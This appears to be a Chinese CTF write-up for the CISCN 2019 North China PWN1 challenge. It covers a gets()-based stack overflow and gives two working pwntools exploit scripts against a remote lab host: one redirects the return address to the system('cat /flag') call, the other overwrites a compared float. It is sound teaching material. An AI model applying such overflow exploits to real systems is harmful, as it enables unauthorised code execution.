当前位置: 首页 > news >正文

PWN手的成长之路-11-CISCN 2019华北 PWN1-栈溢出

image

远程连接以下靶机,看看交互。
image

file 查看程序文件。
image

checksec 查看程序文件安全属性。开启了 NX 保护,栈上不可执行。
image

IDA 打开程序文件。查看 ain 函数,发现调用了 func 函数。
image

查看 func 函数。
image
这里需要判断 v2 是否等于 11.28125,但是函数就开始就定义了 v2=0.0,但是函数中又 gets() 函数,所以我们可以想到用栈溢出,之后直接让程序跳转到 return system("cat /flag");

查看溢出大小。0x30+0x8
image

return system("cat /flag"); 的地址。0x4006BE
image

exp:

from pwn import *
r=remote('node7.anna.nssctf.cn',28581)
flag_addr=0x4006BE
payload=cyclic(0x30+0x8)+p64(flag_addr)   
#cyclic 是Pwntols中的一个工具,用于生成特定模式的字符串,以帮助识别缓冲区溢出的位置。
r.sendline(payload)
r.interactive()

得到 flag
image

方法二:

思路:通过 v1 的值覆盖到 v2 的地址,发送使 v2 的值就等于 11.2815,

v1 离 rbp 的距离是 0x30,v2 离 rbp 的距离是 0x4,所以 v1 离 v2 的距离是 0x30-0x4,也就是溢出大小。
image

Shift+F12 查看所有的字符串,再双击打开标蓝的这个。
image

这个 0x41348000 就是字符 11.28125 的地址。
image

exp:

from pwn import *
r=remote('node7.anna.nssctf.cn',28581)
getflag_addr=0x41348000
payload=cyclic(0x30-0x4)+p64(getflag_addr)
r.sendline(payload)
r.interactive()

也可以得到 flag。
image

http://www.hskmm.com/?act=detail&tid=27007

相关文章:

  • sensitive-word:一个简单易用的敏感词过滤框架
  • 回归学习——包机制
  • vue 组件的常见8种通信方式
  • vue一键安装
  • 如何使用 ManySpeech 调用 SenseVoiceSmall 模型
  • 维基框架 (Wiki Framework) v1.1.2 | 企业级微服务开发框架
  • 国庆假期总结
  • CF1738E Balance Addicts
  • 2025浇注型聚氨酯厂家最新推荐榜:聚氨酯胶黏剂/聚氨酯胶辊/聚氨酯制品/聚氨酯原料/液体聚氨酯/聚氨酯浇注料/聚氨酯ABC料/浇筑聚氨酯/聚氨酯预聚物全场景实力厂家
  • C语言设计模式-策略模式
  • 动态张量运算自动优化技术解析
  • 【PhysUnits】15.9 引入P1后的右移运算(shr.rs) - 详解
  • 10. 模型与视图
  • [KaibaMath]1004 关于f(x,y) = [x]+[y] - [x+y]的平移稳定性
  • Mac OS 问题与技巧
  • 《算法设计与分析》第一章学习记录
  • nestjs 和 nextjs 分别是做啥的
  • 定时收集TCM数据并生成Excel报表并上传
  • 2025.10 国庆集训模拟赛总结
  • 详细介绍:https和http有什么区别-http各个版本有什么区别
  • CF2150F Cycle Closing
  • Easysearch 字段隐身之谜:source_reuse 与 ignore_above 的陷阱解析
  • QOJ856 Cactus 广义串并联图
  • CF2152 订题
  • 静态路由
  • Kruskal 重构树学习笔记
  • GJ Round 2025赛季
  • ASP.NET Core 中读取 UserAgent 的正确姿势
  • vLLM推理加速指南:7个技巧让QPS提升30-60%
  • Git学习记录(二):代码patch